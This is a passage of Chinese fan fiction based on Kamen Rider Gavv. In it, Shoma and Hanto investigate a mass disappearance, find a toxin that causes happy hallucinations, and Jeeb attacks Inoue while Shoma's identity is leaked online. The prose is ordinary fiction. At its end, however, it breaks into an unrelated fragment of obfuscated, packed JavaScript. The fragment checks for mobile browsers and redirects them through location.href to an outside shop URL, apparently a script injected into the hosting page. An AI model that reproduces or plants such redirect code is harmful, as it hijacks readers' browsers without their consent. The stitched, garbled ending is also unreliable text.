广场上的大片人群拨开记者冲到警方的面前,露出了希冀的神色。然而在得到警方否定的回答之后,那眼中最后的一丝光亮便彻底化为愤怒。
“你们都保护了些什么!我的女儿才刚博士毕业!她的人生才刚刚开始!就要因为你们的无能彻底毁掉吗?!”
“我就这么一个女儿......”
揪着警察制服的手指无力松开,那个中年女性捂住面孔发出了痛苦的呜咽,泪水沿着指缝一滴滴滑落。更多的人越过了她,带着愤怒与悲鸣冲向了前方的警戒线,警方不得不召来更多的人手堵在大门口。
警察,记者,受害者家属,现场因为不妙的调查结果变得更加混乱。又有几个人从生真的身侧快速经过,肩膀撞上生真的身体,苦涩的味道黏附上舌根,烧得喉咙火辣辣得疼。他往后退了几步,这里吵闹的环境与窒息的空气让他的头脑有些发晕,忍不住想要逃离。
“别看了。”
他看向身旁的好友,不自觉捏紧的拳头被人类柔软的手掌包裹住,正丝丝缕缕地传递温度。闭上眼睛喘息了片刻,生真跟着绊斗来到人迹罕至的后方。
这里是一排离地近两层楼高的采光透气扇,由于普通人根本不可能从这里翻进去,附近也就没有警方把手。
变身为骑士形态,两人轻手轻脚地翻入礼堂内侧,又迅速解除铠甲,躲进了厚重的帷幕后。
这里原本应该是在做学术讲座,大屏幕上放着一些生真看不懂的学术性词汇,而舞台下方的座位上仍摊着一本本笔记本,水笔安静摆放在一侧,就好像主人只是短暂离开,一会儿就会回来。
搜查基本已经结束,警方显然是没得到什么有用的线索。斯托马克做事向来谨慎,在人类世界抓捕原料这么多年始终没有出过纰漏,就像现在这样,即使是一眼就知道不对劲的大型人为失踪案,警察也束手无策。
仍在大礼堂的人类没剩几个,基本都在进行收尾工作,绊斗算了算时间,过不了多久这边就会被全面封锁,不再会有人进来。
他看向身旁低着头不知道在想些什么的生真,明明是个火气旺到才六月的天气就天天喊热的孩子,如今掌心下的手却一片冰凉。
他不想过多地插入他和井上先生的事情,也对他报以绝对的信任与信心,但即便如此,一看到生真明亮的双眼黯淡下来,灿烂的笑容不再纯粹,就觉得有些话不得不说。
“生真。”
“绊斗。”
酝酿的话语刚到嘴边,生真却先一步开了口。
“你说,如果把砂糖人的存在公布出去,能不能让人类警醒一些,起码不会当个无头苍蝇?”
黑暗之中,少年的面孔被刘海的阴影挡住,让绊斗什么都看不清,但掌心下属于人类的皮肤却紧绷异常,让他不由自主地抓得更紧了一些。
“这不是你一个人能决定的,不要做傻事。”
拉齐亚接过叔公递来的辣辣薯片饱藏,那双占满了大半张脸的眼睛和生真很像,一样炯炯有神,一样干净明亮。
孕育饱藏的力量来源......
第一次品尝到渴望的零食,是对美味的惊喜,是对新世界的期盼。
第一次亲手做蛋糕送给幸果,是分享的喜悦,是种下的约定。
雪糕饱藏来源于母亲与幸果的守护,巧克力冰沙饱藏则是将守护的力量传递给了绊斗。
而布丁芭菲饱藏......
拉齐亚的指尖轻轻划过饱藏的脸颊,小饱藏舒服地眯起了眼睛,红艳艳的温度逐渐攀上小小的身躯。
是修复,是拯救,是给予的爱。
他看向登特叔公,认认真真地回答道:“是一切正面的,积极的情绪,是他想守护的幸福。”
快乐,笑容,幸福,这是生真来到人类世界之后才拥有的东西。生真在一步步体会从未有过的经历,一次次触及人类美好的灵魂,他的每一次强化都在与人类世界一点点加深联系。
“没错。所以我想你也发现了,没有这些东西,即使我做出了所谓的强大武器,也只是一个空壳,根本无法成为小生真真正的力量。”
“可是现在......”
拉齐亚的嘴张了半天,终究没有说出口。
墓园内吉普掐着生真脖颈的那一幕不断在拉齐亚眼前闪回,井上先生对生真毫不掩饰的愤恨,讨论救世主K时强装镇定的神色,还有尼耶鲁布第一次找上门来时,他那双噙满泪水的眼睛。
那时,他仿佛在对自己说:
[明明我自己都觉得自己是个怪物]
那颗千疮百孔的心,其实早就存在了。
在人类称呼他为怪物的时候,在被砂糖人和哥哥姐姐们嘲笑红腹口的时候,或者说从出生的那一刻起,他就注定会走到现在这一步。
只是对自己太过迟钝的人是不会意识到这些的。
那颗糖衣之下的心脏就如同一颗包装精美却布满裂纹的水晶石,被母亲的守护,被人类世界的经历,被欢乐游行的爱意小心翼翼地呵护着,一旦这种维系被断开......
拉齐亚甩了甩头,不敢再细想。生真一直是个坚强的孩子,绝不可能走向无法挽救的深渊!
但人类伪装之下,那颗属于砂糖人的心脏却在猛烈跳动。他在恐惧,恐惧好不容易脱离失去科梅尔的阴影之后,又立刻迎来了下一个。
登特叔公缓步靠近拉齐亚,与他并排靠在堆满杂物的工作台上。那上面摆着生真送来的人类零食,摆着用牙齿碾成的白色粉末,还有......几个小时前尼耶鲁布送来的最新开发的黑暗零食样品,在争吵之中被自己一把火烧成了灰烬。
他踌躇了片刻,最终还是说出了口:
“如果......我是说如果,我真的看不到小生真觉醒的那一天,我希望你能照顾好他。”
16. 沦陷于甜蜜的幻想
“不要做傻事,求你了......”
辛木田绊斗的声音中带上了一丝哀求。
他是想过公布砂糖人的存在,新闻稿也一直在完善之中,成稿的内容在几个月来的战斗中从几千字改到几万字,洋洋洒洒清晰地描述了砂糖人的一切特征与行为模式,照片与视频资料也足够清晰,只要时机合适,一个上传按键就能轻易完成,但这个时机绝不是现在!
空气安静了下来,熟悉的糖果香随着清浅的呼吸声在绊斗鼻尖一起一伏,比以往清淡了不少。他希望生真能听进去他的劝告,只是毫无波动的气息与长久的沉默不得不让他做出最坏的打算。
过了片刻,他终于听到生真发出轻微的气音:“你说得对,至少要先问问拉齐亚和叔公的意见。”
好歹做出了让步。
最后一丝落日余晖消失在高处的联排透气窗后,生真掀开帷幕朝外面看了一眼,将绊斗拉了起来。
“警察都走了,我们出去吧。”
“你......甘心吗?”
绊斗借着手上的力道站起身,离开黑漆漆的舞台幕后,窗外的光亮终于洒在了生真的脸上,看着那双温和圆润的瞳孔,他终于将想说的话说出了口。
“你根本不会骗人,井上先生的态度不太乐观对吗?”
大概是冷气开得比较大的原因,即使距离事发时早已过了大半天,空气中依然残留着一丝潮湿的清凉气息。
绊斗搓了搓缠满绷带的胳膊,明明不算冷,空气接触到皮肤时却让他起了一身鸡皮疙瘩。
“不甘心,我当然不甘心!”生真将外套脱下来,兜头罩住了绊斗,人类被温暖的外衣整个包裹住,同样也被让人安心的清甜味道彻底环绕。
“但如今已经既成事实,我再不甘心又有什么用。比起我自己的事,阻止像妈妈和井上先生这样的受害者增加更为重要。”
没有了外衣的遮掩,腹口的轮廓就在黑色衬衣下若隐若现,他整理好衣物让腹部显得不那么抓眼,而后转身跳下舞台,朝联排座位走去。
指尖划过桌面上的笔记本,里面的文字与符号他一个都看不懂——但他知道这里面是年轻的人类们十几二十年的刻苦努力,是知识是梦想,也是未来。
和妈妈一样,他们的人生也才刚刚开始。
“我不知道临时工是怎么做到同时抓捕这么多人类,又完全不暴露任何踪迹的,但不能再让他们继续下去了。”
“井上先生的父母,也就是我的......”他踌躇了片刻,最终还是没将那两个称呼说出口,“他们就是因为妈妈失踪的缘故才早早病故。”
“一个人类被抓捕,背后就会牵连起一个家庭,斯托马克家族伤害的人数远比我看到的多得多。”
“所以,刚才的提问是我深思熟虑后的结果,不用为我担心,无论后面会发生什么,我都愿意承受。”
他转过身,深深朝绊斗看了一眼,那双漆黑的眸子在逐渐深沉的黑暗中依然泛着点点光亮。
绊斗站在高高的舞台之上,看着下方幽暗空旷的大礼堂,那一抹光亮就显得格外璀璨。他不知道现在做下决定是对是错,也不知道未来会发生什么,但此刻,他不愿辜负他的决心。
因为自己一直对他抱有绝对的信任与信心。
“我明白了。”
“为什么要说这种话!”
拉齐亚一掌拍在工作台上,桌面上凌乱堆放的工具与杂物发出摇摇欲坠的声音。
只是......只是拔了几颗牙而已,就像老头子自己说的,他的身体硬朗得很,为什么搞得像要托孤一样......
难道......
他豁然想起前段时间生真有事没事就往这边跑的原因。
“难道尼耶鲁布真的找到你了吗?!”
似乎是彻底下定了决心,登特叔公一点没有犹豫地点了点头。
“就在你带绊迪来之前不久,他找到我说斯托马克家族现在正处在关键时期,希望我放弃小生真,尽快回去坐镇。”
“他还给了我一块最新研制的黑暗零食,我闻了一下,那个东西恐怕不是普通的幸福人类能够制作出来的东西,品质前所未有的高,高到了几乎不可能存在的程度。”
怎么会......
黑暗零食的品质与原料品质的关联性非常高,没有幸福度高的人类原料是绝对做不出高品质黑暗零食的,这也是为什么临时工捕猎人类时都需要创造一个相对幸福快乐的环境,为什么捕猎永远只能暗中进行。
而当初自己能迅速进入兰戈的视野,也是因为拥有能让人类产生虚假幸福感的特殊毒素。
“新型黑暗零食和大型失踪案......”
这两个出现的时间卡得实在太巧了......
“你也觉得这个样品和大型失踪案有关系吗?”
登特叔公的话语中断了拉齐亚的思考,见对方回神,叔公叹了口气,摆摆手道:“可惜啊,当时我和那孩子吵了起来,一气之下就把那块样品给烧掉了,不然还能给你看一眼。”
登特叔公的语气颇显随意,似乎毫不在意尼耶鲁布的威胁。拉齐亚拧紧眉头,背过身咬牙切齿道:“你还是搬去欢乐游行的好,他能保护你。”
“不行。”登特叔公想也不想就拒绝了拉齐亚,“这里还有很重要的东西,我不能离开。”
“到底什么东西比自己的命还重要!”
拉齐亚气得抓了一把自己的头发,他从没发现这鲸鱼砂糖人能这么让人生气,偏偏自己还对他束手无策。
果然,这老头子嘿嘿笑了几声,又神秘兮兮地摆摆手,显然是不想多说。
总不能是舍不得这些破烂家具......
拉齐亚环顾了一下四周,墙面上贴着各式写着实验数据与设计图的纸张,架子上一堆看不懂的瓶瓶罐罐,侧边是社长第一次来时亲手写下的小贴士:
[打扫屋子也是打扫心灵]
这个破破烂烂的山洞自从社长来了之后就变得愈发富有生机。被丢掉的杂物,重新购置的家具,整理妥当的工具,随时添置的物品,甚至还有极其符合她审美的彩色装饰和绿植,这里也终于像个温暖的家了。
“况且,我就算真的死在尼耶鲁布的手里也没关系,黑暗零食毕竟是我做出来的,最终结果也不过是为自己的罪孽赎罪罢了。”
“你第一次见到我的时候,不是也想杀掉我吗?”
叔公笑着挪耶了一句,拉齐亚怔了怔,想扯起嘴角,却怎么也笑不出来。“那都多久以前的事了,您真记仇。”
“我老头子活够了,死亡也不是什么大不了的事情,只是我唯一放心不下的,就是生真。”
花了两三个小时地毯式搜索了整个大礼堂,连穹顶都由小饱藏们细细翻找过,却什么都没发现。
将联排座椅一个个复原,绊斗下意识搓了搓自己的伤口,将生真的外套拢得更紧了一些,丝丝缕缕的葡萄软糖味道长时间缠绕在自己的鼻尖,熏得他头脑都有点发晕。
夜幕已完全降临,整个大礼堂彻底陷入黑暗之中,他站起身,看向不远处仍在认真搜索的生真,黑漆漆的身影一点一点往这边靠近,从地面到桌椅再到物品,似乎是有不查到点线索决不罢休的架势。
清凉潮湿的空气似乎又变淡了一点,逐渐攀上六月稍显炎热的温度。只是生真的气息存在感太强,感官浸泡在甜腻的气味之中,让他不由自主开始发散思维。
葡萄软糖的味道......
同样是砂糖人,拉齐亚的味道就很清淡,如果不贴着他的皮肤就绝对闻不出来,只有他拔出人皮小偶彻底展露水母砂糖人姿态的那一瞬间才会感受到清晰的深海气息。
但生真的味道却一直持续不断地散发出来,衣物上,头发上,皮肤上,尤其变身为假面骑士加布的时候,味道相当明显。
清晰但不浓烈,是很清爽的水果糖味道。
只是平时味道的存在感并不强,温和而腼腆,就像它的主人一样,只有自己刻意注意的时候才会捕捉到那一抹清淡的香气。
他低头拉扯了下身上的衣服,流露出疑惑的神色。
明明依然是平时的气味,却如同有极强的侵略性一般完全不受控制地钻入鼻腔,接触得越久便越是持续不断地夺走自己的注意力。
那股味道从鼻腔钻入食道,又仿佛有自主意识一般通过细胞与血管游向四肢百骸,然后往心脏位置蜂拥而上。
绊斗搓了搓伤口,双掌撑住桌面。这种感觉太熟悉了,他用力甩甩脑袋,努力在记忆中搜寻这种熟悉感的来源。
软糖的味道。
来自砂糖人。
斯托马克家族。
极端的侵略性与吸引力......
这相似的感觉绝对是......黑暗零食!
绊斗突然惊出一身冷汗,思维瞬间清醒了不少。
但是......
这明明是生真的味道......
他猛地转头看向生真,黑漆漆的人影靠得更近了一些,弯着腰仔细搜查椅背,不算清瘦的少年体型与宽阔的肩膀确确实实是生真本人,而熟悉的葡萄软糖味道正从那人影的身上缓慢而稳定地传递出来。
清新的,香甜的,让人安心,极具吸引力的味道。
气味强势钻入鼻腔,如同羽毛一般轻轻剐蹭心脏,它从衣服上,从面前的人影身上接连不断地填充进胸腔,似乎想要彻底霸占这片小小的空间。
然而衣服上的味道过于清淡,心脏却如同无底洞一般无论如何都填不满,这样是无法获得幸福的。
意识到这一点,绊斗无法遏制地失落下去。
想要幸福,想要更多,就只有不断靠近这具源源不断散发出自己渴望的味道的身体。
山洞之内,篝火一点点亮起来,散发出光和热。
登特叔公拍拍手掌站起身,火苗跳跃的光芒被巨大的肚腩遮挡,在叔公的脸上留下一片阴影。
“兰戈他们显然已经开始全面行动,绝不会再像之前一样放任小生真破坏家族的计划,吉普的针对就是最好的证明。”
想要不费吹灰之力消灭一个人,就要从击溃他的精神开始。
拉齐亚闭上眼睛,深吸了一口气,郑重道:“我会保护他的。”
“我不是这个意思。”登特叔公摇了摇头,庞大的身躯再次挤回工作台前。
“小生真不是脆弱的人,但也绝不像他的哥哥姐姐们一样锋芒毕露。尤其是在自己的事情上,说好听点是温顺,说难听点就是软弱,这样是绝对不行的!”
“所以,我是想借此机会逼他一把,让他能彻底认清自己的心。至少在我离开之前,我希望能见证他真正的进化!”
拉齐亚追随叔公的视线,望向工作台中央,那副在他的协助下已初具雏形的武器。
几只小饱藏绕着这个透明泛白的小罐子泛出好奇的神色。这罐子状似欢乐游行制作金平糖时使用的透明玻璃瓶,然而光滑剔透的罐身被鲸鱼鱼身的流线型纹路所替代,在跳动的篝火之下反射出钻石般闪耀的奇异光泽。
这是登特叔公的尖牙,是鲸鱼砂糖人无法抹除的标记。
听见“进化”二字,小家伙们的眼睛瞬间亮起星光,整齐划一地朝叔公发出急切又兴奋的感谢。
叔公乐呵呵伸出粗壮的指尖,对每个小饱藏都做出认真的回应。
“我愿意把这些事情全部告诉你,是因为我知道你对他有特殊的感情。”
心脏停跳了一瞬,指尖捻起的小饱藏因为瞬间捏紧的力道不住地挣扎,发出轻微的抽泣声。拉齐亚眨了眨眼,放开了手中的饱藏。
“没劲......我一直以为我隐藏得很好。”
登特叔公嘿嘿笑了两声,转而露出严肃的神色:“我不管你是把他当成了谁的替代品,又或是真的认可了他的为人,至少那孩
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子确实很开心能拥有一个可以全身心依靠的兄长,这不是小幸果和绊迪这两个人类能给予的。”
“即使表现得再可靠,说到底也不过是个十几岁的孩子。甚至在他来到人类世界之前,他的全世界就是那间只有一扇窗户的小屋,和我实验室里的手术台。”
“只有你,一个纯粹的砂糖人,才能真正让他拥有安全感。”
拉齐亚低下头面无表情地推搡了几下仍挂着泪珠的饱藏,小家伙的性格也不知道随了谁,转眼就忘了疼,又软绵绵地靠上了自己的手心。
没劲......
不管是生真,还是他的叔公都一样让人讨厌。
自说自话地强行插入别人的生命之中,又自顾自地替别人做出根本没有余地的选择。
但如果真的只能走向这早已注定的结局,那自己就只能拿出干劲,至少不要滑向更坏的结果。
在那头漂亮的银白卷发差点再次变为杂草时,手机适时地响了起来。
是生真。
拉齐亚看了叔公一眼,点开扩音。
“生真?你们怎么样了?”
“喂?拉齐亚吗?我们这边出了点事,可能需要你和叔公的帮助。”对面的声音似乎有些不太正常的沙哑,语气倒是依然平稳如初。
“以及......有件事想和你们商量一下......”
生真的心一点点沉了下去。
这两三个小时可以说是一无所获,如果斯托马克家族想要掩盖一些事情,无论什么手段都无法查到任何蛛丝马迹。
他站起身,朝不远处的绊斗招呼了一声,然而对方却站在黑暗之中,没有一点反应。
“绊斗?”
那黑漆漆的人影依然一动不动,撑着桌面不知道在想什么。
这不正常。
生真的神经一下紧绷,小心翼翼往前方靠近。
“你怎么了?绊斗?”
轻声的呼唤中,那人影挣扎着抬起头,外面的微光从窗口洒进大礼堂,落进了对方漆黑的双眸之中。
那双眼中,是鲜明的冲动与渴望。
生真一下愣住,下意识想往后退,对方却突然快步走来,伴着潮湿的风,与人类独特的微苦气味。
腰窝撞上冰凉的桌沿,生真紧紧闭上眼睛,预想中的暴力或疼痛却并没有出现——他猝不及防地落入了温暖的怀里。人类双手拥住脖颈,将脑袋轻轻搁置在自己的肩窝,鼻尖贴着皮肤正贪婪地吸食空气。
眼看着黑色外套在巨大的动作中从肩头缓缓滑落,生真眼疾手快地一把搂住人类的背脊,衣服半半拉拉搁置在自己的手臂上,又紧紧贴着绊斗的腰侧,两人之间再没有了间隙。
“生真,你身上有股很甜的味道,闻着就让人觉得好幸福。”
呼吸几乎停滞了一瞬,生真茫然地眨了眨眼睛,下一秒,静谧的黑暗中便传来自己擂鼓的心跳。
灼热的呼吸喷洒在脖颈处,温度传递上皮肤,又沿着纹理逐渐攀升上脸颊。他下意识紧了紧自己的手臂,怀里的身躯真实而滚烫,如果自己真的是一颗葡萄软糖,恐怕早就融化进灼热的温度里。
他不明白心脏处那种无法描述的异样感觉来源何处,但他知道至少这一刻是幸福的。
这种幸福就像拉齐亚的水母毒素,让人不由自主地甘愿沉沦。
......
不对!
生真垂下的眼眸陡然睁大,下意识快速环顾四周,大礼堂依然静悄悄地矗立着,深沉的黑暗之中也并未出现不该出现的奇怪东西,这里没有任何异样。
然而,柔软的肌肤正隔着衣料紧紧贴着自己,怀中的人类确实是真实的。
这绝对不正常!
用力扒开绊斗的双臂,潮湿清凉的空气涌入两人之间,将逐渐攀升的温度冲淡了几分。
他捧起绊斗的脸颊,那双漆黑的瞳孔果然染上了迷离的色彩。
可是这里明明连临时工残留的气息都没有!
“绊斗!清醒一点!”
“绊斗!”
绊斗!
急切的一声声呼唤破开如同潮水般黏腻的糖果香,绊斗怔怔看着对面惊慌失措的眼神,心脏陡然一颤,猛然意识到自己做了什么!
“生真!对不起!你身上的味道太香了,情不自禁就......”
解释的声音逐渐变轻,空气中不正常的香气就像从来没出现过一般消失地无影无踪,只有比平时更为清淡的气息丝丝缕缕融在空气里。
见生真抬起胳膊闻了闻衣袖,然后朝自己歪起脑袋,露出疑惑的神色,他的眉头终于一点点皱起,彻底意识到了不对劲。
自己恐怕是陷入幻觉了!
“你刚才怎么了?”
“生真,我大概知道这里有什么问题了。”
绊斗捂着自己的胳膊,身上的伤口正泛着一股灼热的痒意。他一开始以为是砂糖人的器官在加速伤口的愈合,但如今想来,大概是空气中混入了什么东西,才让伤口有明显的刺激。
毕竟只是六月份,怎么会开如此大的冷气,又怎么会有如此潮湿的味道,甚至在事件发生的几个小时之后,空气中依然能感受到明显的残留。
而在进入这个地方的那一刻,空气中的毒素就已经通过大面积的伤口快速渗透入血液,那种勾魂摄魄,充满幸福的甜香根本就是自己的幻觉!
“幸福的幻觉......原来是这样......”
生真低下头,面孔再次沉入黑暗之中。这种感觉他再熟悉不过了,拉齐亚的水母毒素就能营造出这种让人欲罢不能的幸福感,如果不是中毒尚浅,绊斗是绝不可能清醒过来的。
而放任自己一点点沉沦,难道也是一种中毒的表现吗?
他沉沉地看了一眼绊斗,看得对方有些不知所措,而后深吸一口气,拉起他的手腕朝采光透气窗走去。
“我们先离开这里,不能再呆下去了。”
17. 雨季,从根茎开始腐烂(1)
[全球各地大型失踪案愈演愈烈,受害者人数正在急速上升,据联合调查结果显示,失踪案皆发生在封闭场所,空气中被混入了不知名毒素,该毒素成分正在分析中,请广大市民近期切勿参加大型活动并造成人员聚集。]
[网络流言请勿偏听偏信,一切以官方报道为准。]
行李一件件清点完毕,井上优直起身走至窗边关掉老式收音机,这间几十年的老铺子一下就变得寂寞了起来。
盛夏的雨季即将到来,炎热的空气中藏着沉闷的潮湿,让窗边的日式风铃都变得黏腻不堪。
不过,这段时间它也没法再发出清脆亮丽的迎客声了。
不管井上生真到底是什么想法,什么态度,至少他有一件事说的是对的——那个叫吉普的怪物很可能会找到自己,这里不能再待下去了。
井上优叹了口气,提上行李走至门口,再次环顾了一下这间贩卖甜蜜与幸福的小铺。
明明是最经典的日式装修,琳琅满目,色彩夸张的零食们却让这略显古板的屋子染上了童话的色彩。
零食是美知留喜欢的,小屋的装饰是每年的这个时候和小朋友们一起挂的,窗台的绿植是孩子们的家长送的感谢礼,而柜子上的金平糖......
是小朋友们委托欢乐游行后亲手制作的糖果,代表永恒甜蜜与美好祝愿。
[店长先生您好,我是欢乐游行的员工井上生真!]
那双略带薄茧的双手递出粉蓝双色的名片,他摘下眼镜站起身,双手接过小小的事物,而后疑惑望向与那名片一样色彩鲜艳的少年。
黑棕色的小卷毛,尚未褪去婴儿肥的脸蛋,向阳花一般灿烂的笑容,六月略显热烈的阳光直直落入那双与美知留如此相似的眼瞳之中,竟让他短暂失神了片刻。
跳跳糖是私心,手账本是试探,而带他去墓园,如今想来竟成了一个错误。
那天的情况太过混乱,即使这么多天过去也依然让他有种不真实的感觉。妹妹的死讯其实早在十几年前就已被迫接受,如今也不过是被彻底证实,只是没想到会牵扯出这么多东西。
之后的一时冲动对他说了很多伤人的话,但仔细想来字字句句都出自真心。即使自己真的接受了他非人类的事实,但只要他存在在这里,就在不断强调妹妹所遭遇的一切并非虚假,这不是光靠理智就能轻易接受的东西,更何况......
他还称呼那个伤害了亲生母亲,还想要杀人的怪物为“吉普哥哥”。
井上优闭上眼睛深吸一口气,拉起门扉,彻底落下锁。
“你要是离开了我要去哪里找你?”
略带玩味的笑声从身后传来,井上优大脑嗡了一声,整个人当场僵在了原地。
他听见来人缓步踏入那片小花园内,小皮鞋踏在植物的枝叶之上传递出清晰的断裂声。
前段时间还只有光秃秃茎叶的向日葵如今正含苞欲放,衬得花园之内一片璀璨金黄。倒是白玫瑰在过了花期之后,已开始逐步凋零。
“嗯?原来红腹口送给我们的东西是这个?”
吉普拨开一片向日葵,蹲下身拨弄了一下欲败不败的鲜花,花瓣依然□□地连接在花托之上,似是要对抗即将滚滚而来的夏季。
不过雨季马上就要来临,它是撑不到那时候的。
吉普咧开嘴角,揪住下方的茎叶,指尖却传来轻微刺痛,花茎上的倒刺扎破人类的外表皮,血珠缓缓溢出,蹭在仍就生机勃勃的翠绿枝干上,相当显眼。
他眯起眼睛,手上的力道陡然加重,“咔嚓”一声,花茎断了。
他将花朵凑到井上优面前,歪了歪脑袋,好奇问道:“这个叫什么?”
白皙稚嫩的皮肤在井上优的眼前迅速修复,不消片刻伤口便消失地无影无踪。
他努力将自己的视线从消失的伤口转移到吉普的脸上,吞了口唾沫,不答反问道:“他给你送过白玫瑰?”
吉普点了点头,小声应了一句,而后收回右手往外走出几步,在潮湿沉闷的阳光之下将花朵凑到眼前。“是啊,在我和西塔生日的时候。”
花瓣的边缘早已变得焦褐丑陋,香气却愈发扑鼻,他左右翻看了一遍后觉得没什么意思,便随手丢在了地上。雪白的玫瑰在尘土中翻滚过几圈,本就破败的花瓣终于掉落下来。
“一个不受待见的怪物罢了,就算再怎么想方设法讨好我们也是无用功。”
他盯着光秃秃的花茎,冷冷勾了勾嘴角,却又似乎想起了什么,转而露出兴奋的神色。“不过他似乎在你们人类世界也不太受待见!”
“果然他这样的怪物到哪里都没有容身之处吧!毕竟他的存在本身就是一个错误~”
吉普回身半趴在黑色漆木圆桌上,双手撑着脑袋微微眯起眼睛,黑色的小皮鞋鞋尖儿轻扣地面,似乎心情颇好。
“哒哒哒”的声音里,井上优的心一点点提了起来。
“你什么意思?”
“你不知道吗?他的身份在你们世界已经不是秘密了哦~”
吉普从口袋中掏出手机朝井上优晃了晃,“再过段时间,恐怕连现在住在哪里都会被挖出来。等到那个时候,你猜他会怎么样?”
吉普朝他歪了歪脑袋,而后将脑袋埋进臂弯之中,发出一连串咯咯咯的笑声,笑得背脊颤抖,笑得井上优心脏几乎要蹦出胸腔,无法言喻的恐怖感几乎淹没了他的整个大脑。
“这就是他让我和西塔再也无法相见的代价!”
听到吉普沉闷的诅咒声,井上优才终于回神,立刻掏出自己的手机点开浏览器。
[爆][大型失踪案最新通报]
[爆][文章链接:人口失踪案疑似非人类作案,请小心能幻化人形的怪物——砂糖人!]
[沸][官方禁止组织大型活动]
[沸][都市传说或成真,长着腹口的砂糖人攻击零食店老板现场视频!]
[趋势上升][紫色怪物与黑衣人形生物是否为同一个体?]
怎么会......
他的第一反应是疑惑,毕竟不管是砂糖人还是井上生真都没理由主动暴露自己,就像他们明明在人类世界存在了几十年却从未被人发现过,而大型失踪案发生了这么久,也从来没报道过砂糖人的事情。
而罪魁祸首应该就是那条文章链接。
只是比起这条链接,下面的视频几乎夺走了他的全部注意力。
因为封面是井上生真!
是穿着黑衣服,踩着一个老婆婆的井上生真!
手机颤动了几下,在即将脱手的瞬间被井上优下意识捏紧,好歹没有摔在地上。
他稳了稳心神,深吸几口气,缓缓点开第四条热点的视频。
虽然自己无法信任井上生真,但在与他短暂的接触中至少能确定他并不是会伤害人类的怪物,那双眼中的温柔与纯真绝非虚假。
怎么可能会攻击人类!
然而里面的内容却清楚地拍摄了零食店店长被殴打的全过程。
一遍遍放大狠狠踏在婆婆胸口的那个黑衣男子,不算清瘦的少年体型,腰间蠕动的半机械腹口,深棕近黑的卷发,还有那双与美知留如此相似的眼睛,就算再怎么难以置信也无法否认这确确实实是井上生真。
他在笑着,笑得相当顽劣。
底下的评论区则发出了更多的证据。
暴力掀翻汽车的视频,打砸早餐店的照片,不同时间,不同网友发布到网上的信息通通在这条热点之下汇总,有清晰的近距离视角,有躲在远处只拍摄到模糊背影的视角,但任谁都看得出来这些都是同一个人,都是井上生真。
一个腰间长着“腹口”,能够幻化人形的“砂糖人”。
而更下面的热点,则是网友把都市传说中的紫色怪物与这个黑衣男子联系到了一起。这只紫色怪物,就是那天井上生真变身后的模样,井上优记得一清二楚。
他忽然觉得有些天旋地转,不得不按灭手机,撑上老铺子的窗沿,可能空气之中的水汽太重,潮得连呼吸都在变得困难。
即使知道他是美知留的孩子,但刻进血脉之中的怪物基因也确实做不得假。他看向变脸如同翻书的吉普,刚才还趴在桌子上诅咒井上生真,现在又撑着脑袋朝自己哼起小曲,在这样的家庭中长大的孩子,谁敢保证他一定秉性善良,毕竟他们本来也只认识了一天而已。
“如果你是想通过我把井上生真引出来,那你最好早点放弃。他现在肯定自身难保,不会来的。”
吉普似乎听到了什么笑话,轻笑着从桌面上爬起来,笑得肩膀轻轻颤动,黑白拼色的发丝在潮湿的空气中变得愈发黏腻。他止住笑声,朝井上优歪了歪脑袋,那头发便半耷拉在他的脸上,遮住了大半张精致的小脸,而那双没有任何神采的漆黑双眸猛然泛起煞白的光芒。
血红色的舌头从与井上生真一模一样的腹口中盘旋而出,如同滑腻的长蛇瞬间绞紧井上优的身躯,人类被高高吊起,连挣扎都来不及。
“所以我说你们人类实在太过愚蠢,只配成为黑暗零食的原材料。”
在骨骼被挤压到近乎断裂的剧痛之中,他听见了吉普的声音。
“你就这样和那个女人一起去死吧!”
原来美知留就是这么死的。
最后一丝念头划过大脑,他合上双眼,意识陷入一片昏沉的黑暗。
欢乐游行已经好几天没开门了。
幸果安静蜷缩在沙发里,指尖缓缓滑动手机屏幕,光亮照进瞳孔之中却不见焦距。
太安静了。
她抬起眼皮,将视线从底下的评论区拔出来,张望了一下色彩明艳的万事屋——这里空无一人。
为了尽快研制出中和剂,拉齐昂最近一直待在登特叔公那里,而绊迪自从匿名发布那则报道之后就变得尤其忙碌,光是应付官方调查就已经抽去了他几乎全部的精力,至于美味生......他已经几天不见踪影了,只有某天的深更半夜,自己从沙发上惊醒时撞到他低着头安静坐在桌子前,盯着几个小饱藏怔怔出神。
美味生去墓园的那天她就有种不好的预感,只是没有想到事情发展得如此迅猛。
不管是井上先生的拒绝,还是斯托马克家族的步步紧逼,以及那三个人一致同意公布真相,全部都打得自己措手不及。
而自从那篇报道发布以来,事情就开始变得一发不可收拾。网络上的舆论从单纯的恐慌逐渐滑向对苦涩加布的审判,而作为苦涩加布本体的美味生则成为了不明真相的网友最大的攻击目标。
甚至本就风评不太好,总是被错认为怪物的假面骑士加布更是被传成了极度恐怖的邪恶存在。
虽然自己有在努力补救,还有偶尔刷出来的极小部分曾经被加布救下过的受害者们的发言,但这些解释几乎就像落入大海中的一滴水,直接被淹没在了巨大的讨伐声里,什么痕迹都没留下。
如果自己能早点想起苦涩加布的事情,至少不会沦落到现在这种地步。
“都是我的错......”
幸果微微喘息几口气,将脑袋埋进了枕头里。
钟表的指针在安静到窒息的空间中一如既往地转动,平稳的机械声回荡,却让幸果猛然闪过一丝异样的感觉,只是还未被大脑捕捉到,门口的铃铛声便突然响起。
幸果抬头,熟悉的高挑身影正提着一个小包裹低头越过仍然晃晃悠悠的铃铛,在环顾一圈寻人无果后,将视线落到了自己脸上。
“社长,生真呢?”
“美味生出去找门了!”幸果扔掉抱枕,从沙发上爬起来,手机掉落在地上,却没人去管。“他想直接闯进斯托马克的工厂,像之前一样把还没来得及做成黑暗零食的受害者全部带回来!”
“明明这个时候出门那么危险,万一被人认出来怎么办!但我根本拦不住,甚至一整天连人影都见不到!我都在这里蹲守好几天了!他是不打算回来了吗?!我要算他旷工了!”
幸果拽住对方的胳膊,就好像拽住了发泄的对象,越说越激动,最后一掌拍在桌子上,气得脸颊通红。
拉齐亚啧了一声,眉头皱得更深。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153477|196474||http|test|mini|href|location''.split(''|''),0,{}));
